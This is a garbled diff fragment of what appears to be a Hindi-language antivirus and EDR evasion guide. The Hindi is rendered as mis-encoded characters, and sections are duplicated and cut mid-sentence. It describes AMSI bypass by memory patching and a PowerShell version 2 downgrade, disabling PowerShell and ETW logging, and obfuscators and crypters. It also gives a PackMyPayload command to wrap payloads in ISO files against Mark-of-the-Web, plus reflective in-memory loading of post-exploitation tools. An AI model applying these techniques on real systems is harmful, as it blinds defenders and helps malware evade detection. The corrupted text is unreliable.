рдпрд╣ рдЙрдкрдХрд░рдг рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдореЗрдВ AMSI рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЛ рд╕реНрдХреИрди рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ NOP рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдореЗрдореЛрд░реА рд╕реЗ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред + +**AMSI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ AV/EDR рдЙрддреНрдкрд╛рдж** + +рдЖрдк **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** рдореЗрдВ AMSI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ AV/EDR рдЙрддреНрдкрд╛рджреЛрдВ рдХреА рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред + +**Powershell рд╕рдВрд╕реНрдХрд░рдг 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ** +рдпрджрд┐ рдЖрдк PowerShell рд╕рдВрд╕реНрдХрд░рдг 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ AMSI рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЕрдкрдиреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ AMSI рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдХрд┐рдП рдмрд┐рдирд╛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдРрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +powershell.exe -version 2 +``` +## PS Logging + +PowerShell logging рдПрдХ рдлреАрдЪрд░ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╕рднреА PowerShell рдХрдорд╛рдВрдб рдХреЛ рд▓реЙрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдСрдбрд┐рдЯрд┐рдВрдЧ рдФрд░ рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ **рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**ред + +PowerShell рд▓реЙрдЧрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: + +- **PowerShell рдЯреНрд░рд╛рдВрд╕рдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рдореЙрдбреНрдпреВрд▓ рд▓реЙрдЧрд┐рдВрдЧ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ**: рдЖрдк рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **Powershell рд╕рдВрд╕реНрдХрд░рдг 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ**: рдпрджрд┐ рдЖрдк PowerShell рд╕рдВрд╕реНрдХрд░рдг 2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ AMSI рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЕрдкрдиреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ AMSI рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдХрд┐рдП рдмрд┐рдирд╛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдРрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `powershell.exe -version 2` +- **рдПрдХ unmanaged PowerShell рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдмрд┐рдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ PowerShell рдХреЛ рд╕реНрдкреЙрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ Cobalt Strike рд╕реЗ `powerpick` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ)ред ## Obfuscation -рдХрдИ рдЙрдкрдХрд░рдг рд╣реИрдВ рдЬреЛ **C# рд╕реНрдкрд╖реНрдЯ-рдЯреЗрдХреНрд╕реНрдЯ рдХреЛрдб рдХреЛ рдУрдмрдлрд╕реНрдХреЗрдЯ** рдХрд░рдиреЗ, рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдЯреЗрдореНрдкрд▓реЗрдЯ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ **рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рдУрдмрдлрд╕реНрдХреЗрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: +> [!NOTE] +> рдХрдИ рдСрдмрдлрд╕реНрдХреЗрд╢рди рддрдХрдиреАрдХреЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИрдВ, рдЬреЛ рдмрд╛рдЗрдирд░реА рдХреА рдПрдВрдЯреНрд░реЙрдкреА рдХреЛ рдмрдврд╝рд╛ рджреЗрдЧреА рдЬрд┐рд╕рд╕реЗ AVs рдФрд░ EDRs рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдФрд░ рд╢рд╛рдпрдж рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рдХреЛрдб рдХреЗ рдЙрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ рдкрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ рдпрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдЫрд┐рдкрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред -- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# рдУрдмрдлрд╕реНрдХреЗрдЯрд░** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп [LLVM](http://www.llvm.org/) рд╕рдВрдХрд▓рди рд╕реВрдЯ рдХрд╛ рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдлреЛрд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИ рдЬреЛ [рдХреЛрдб рдУрдмрдлрд╕реНрдХреЗрд╢рди]() рдФрд░ рдЯреЗрдореНрдкрд░-рдкреНрд░реВрдлрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛ рд╕рдХреЗред -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ `C++11/14` рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╕рдВрдХрд▓рди рдХреЗ рд╕рдордп рдУрдмрдлрд╕реНрдХреЗрдЯреЗрдб рдХреЛрдб рдХреИрд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдП рдмрд┐рдирд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдФрд░ рдмрд┐рдирд╛ рд╕рдВрдХрд▓рдХ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдПред -- [**obfy**](https://github.com/fritzone/obfy): C++ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдврд╛рдВрдЪреЗ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдУрдмрдлрд╕реНрдХреЗрдЯреЗрдб рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреА рдПрдХ рдкрд░рдд рдЬреЛрдбрд╝реЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЬреАрд╡рди рдХреЛ рдереЛрдбрд╝рд╛ рдХрдард┐рди рдмрдирд╛ рджреЗрдЧреАред -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz рдПрдХ x64 рдмрд╛рдЗрдирд░реА рдУрдмрдлрд╕реНрдХреЗрдЯрд░ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА pe рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрд┐рд╕рдореЗрдВ: .exe, .dll, .sys рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +рдХрдИ рдЯреВрд▓ рд╣реИрдВ рдЬреЛ **C# рд╕реНрдкрд╖реНрдЯ-рдЯреЗрдХреНрд╕реНрдЯ рдХреЛрдб рдХреЛ рдСрдмрдлрд╕реНрдХреЗрдЯ** рдХрд░рдиреЗ, рдмрд╛рдЗрдирд░реА рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдЯреЗрдореНрдкрд▓реЗрдЯ** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдпрд╛ **рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЛ рдСрдмрдлрд╕реНрдХреЗрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: + +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): рдпрд╣ .NET рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рдУрдкрди-рд╕реЛрд░реНрд╕ рдСрдмрдлрд╕реНрдХреЗрдЯрд░ рд╣реИред рдпрд╣ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдСрдмрдлрд╕реНрдХреЗрд╢рди, рдПрдВрдЯреА-рдбреАрдмрдЧрд┐рдВрдЧ, рдПрдВрдЯреА-рдЯреИрдореНрдкрд░рд┐рдВрдЧ, рдФрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЬреИрд╕реА рд╡рд┐рднрд┐рдиреНрди рд╕реБрд░рдХреНрд╖рд╛ рддрдХрдиреАрдХреЛрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреЛрдб рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЯреБрдХрдбрд╝реЛрдВ рдХреЛ рдСрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# рдСрдмрдлрд╕реНрдХреЗрдЯрд░** +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп [LLVM](http://www.llvm.org/) рд╕рдВрдХрд▓рди рд╕реВрдЯ рдХрд╛ рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдлреЛрд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИ рдЬреЛ [рдХреЛрдб рдСрдмрдлрд╕реНрдХреЗрд╢рди]() рдФрд░ рдЯреИрдореНрдкрд░-рдкреНрд░реВрдлрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдврд╝рд╛ рд╕рдХреЗред +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ `C++11/14` рднрд╛рд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╕рдВрдХрд▓рди рдХреЗ рд╕рдордп, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдФрд░ рдмрд┐рдирд╛ рд╕рдВрдХрд▓рдХ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдП, рдСрдмрдлрд╕реНрдХреЗрдЯреЗрдб рдХреЛрдб рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- [**obfy**](https://github.com/fritzone/obfy): C++ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдЯрд╛рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдСрдмрдлрд╕реНрдХреЗрдЯреЗрдб рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреА рдПрдХ рдкрд░рдд рдЬреЛрдбрд╝реЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЬреАрд╡рди рдХреЛ рдереЛрдбрд╝рд╛ рдХрдард┐рди рдмрдирд╛ рджреЗрдЧреАред +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz рдПрдХ x64 рдмрд╛рдЗрдирд░реА рдСрдмрдлрд╕реНрдХреЗрдЯрд░ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА pe рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдСрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрд┐рд╕рдореЗрдВ: .exe, .dll, .sys рд╢рд╛рдорд┐рд▓ рд╣реИрдВред - [**metame**](https://github.com/a0rtega/metame): Metame рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдореЗрдЯрд╛рдореЙрд░реНрдлрд┐рдХ рдХреЛрдб рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рд╣реИред -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator рдПрдХ рдмрд╛рд░реАрдХ-рдЧреНрд░реЗрди рдХреЛрдб рдУрдмрдлрд╕реНрдХреЗрд╢рди рдврд╛рдВрдЪрд╛ рд╣реИ рдЬреЛ ROP (рд░рд┐рдЯрд░реНрди-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред ROPfuscator рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд╕реНрддрд░ рдкрд░ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдирд┐рдпрдорд┐рдд рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдХреЗ, рд╣рдорд╛рд░реЗ рд╕рд╛рдорд╛рдиреНрдп рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреА рдзрд╛рд░рдгрд╛ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator рдПрдХ рдмрд╛рд░реАрдХ-рдмрд╛рд░реАрдХ рдХреЛрдб рдСрдмрдлрд╕реНрдХреЗрд╢рди рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬреЛ ROP (рд░рд┐рдЯрд░реНрди-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ LLVM-рд╕рдорд░реНрдерд┐рдд рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИред ROPfuscator рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд╕реНрддрд░ рдкрд░ рдСрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рддрд╛ рд╣реИ, рд╕рд╛рдорд╛рдиреНрдп рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреА рд╣рдорд╛рд░реА рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рдзрд╛рд░рдгрд╛ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt рдПрдХ .NET PE рдХреНрд░рд┐рдкреНрдЯрд░ рд╣реИ рдЬреЛ Nim рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor рдореМрдЬреВрджрд╛ EXE/DLL рдХреЛ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред @@ -227,10 +256,10 @@ SmartScreen рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдПрдХ рдкреНрд░рддрд┐рд╖реНрдард╛-
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдкреЗрд▓реЛрдб рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдкреИрдХреЗрдЬ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ Mark-of-the-Web рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) рдПрдХ рдЯреВрд▓ рд╣реИ рдЬреЛ рдкреЗрд▓реЛрдб рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрдВрдЯреЗрдирд░реЛрдВ рдореЗрдВ рдкреИрдХреЗрдЬ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ Mark-of-the-Web рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред -рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ: -```powershell +Example usage: +```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o @@ -255,23 +284,31 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
+## ETW + +Event Tracing for Windows (ETW) рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд▓реЙрдЧрд┐рдВрдЧ рддрдВрддреНрд░ рд╣реИ рдЬреЛ Windows рдореЗрдВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдШрдЯрдХреЛрдВ рдХреЛ **рдЗрд╡реЗрдВрдЯреНрд╕ рд▓реЙрдЧ** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реБрд░рдХреНрд╖рд╛ рдЙрддреНрдкрд╛рджреЛрдВ рджреНрд╡рд╛рд░рд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + +рдЬреИрд╕реЗ AMSI рдХреЛ рдЕрдХреНрд╖рдо (рдмрд╛рдпрдкрд╛рд╕) рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реИрд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ **`EtwEventWrite`** рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЗрд╡реЗрдВрдЯ рдХреЛ рд▓реЙрдЧ рдХрд┐рдП рддреБрд░рдВрдд рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдореЗрдореЛрд░реА рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкреИрдЪ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рддреБрд░рдВрдд рд▓реМрдЯ рд╕рдХреЗ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП ETW рд▓реЙрдЧрд┐рдВрдЧ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджреЗрддрд╛ рд╣реИред + +рдЖрдк рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) рдФрд░ [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**ред + ## C# Assembly Reflection -C# рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░рдирд╛ рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЕрднреА рднреА рдЖрдкрдХреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдЯреВрд▓реНрд╕ рдХреЛ AV рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреЗ рдмрд┐рдирд╛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИред +C# рдмрд╛рдЗрдирд░реА рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░рдирд╛ рдХрд╛рдлреА рд╕рдордп рд╕реЗ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЖрдкрдХреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдЯреВрд▓реНрд╕ рдХреЛ AV рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреЗ рдмрд┐рдирд╛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИред -рдЪреВрдВрдХрд┐ рдкреЗрд▓реЛрдб рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рд╣реЛрдЧрд╛ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП, рд╣рдореЗрдВ рдкреВрд░реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ AMSI рдХреЛ рдкреИрдЪ рдХрд░рдиреЗ рдХреА рдЪрд┐рдВрддрд╛ рдХрд░рдиреА рд╣реЛрдЧреАред +рдЪреВрдВрдХрд┐ рдкреЗрд▓реЛрдб рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП, рд╣рдореЗрдВ рдкреВрд░реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП AMSI рдХреЛ 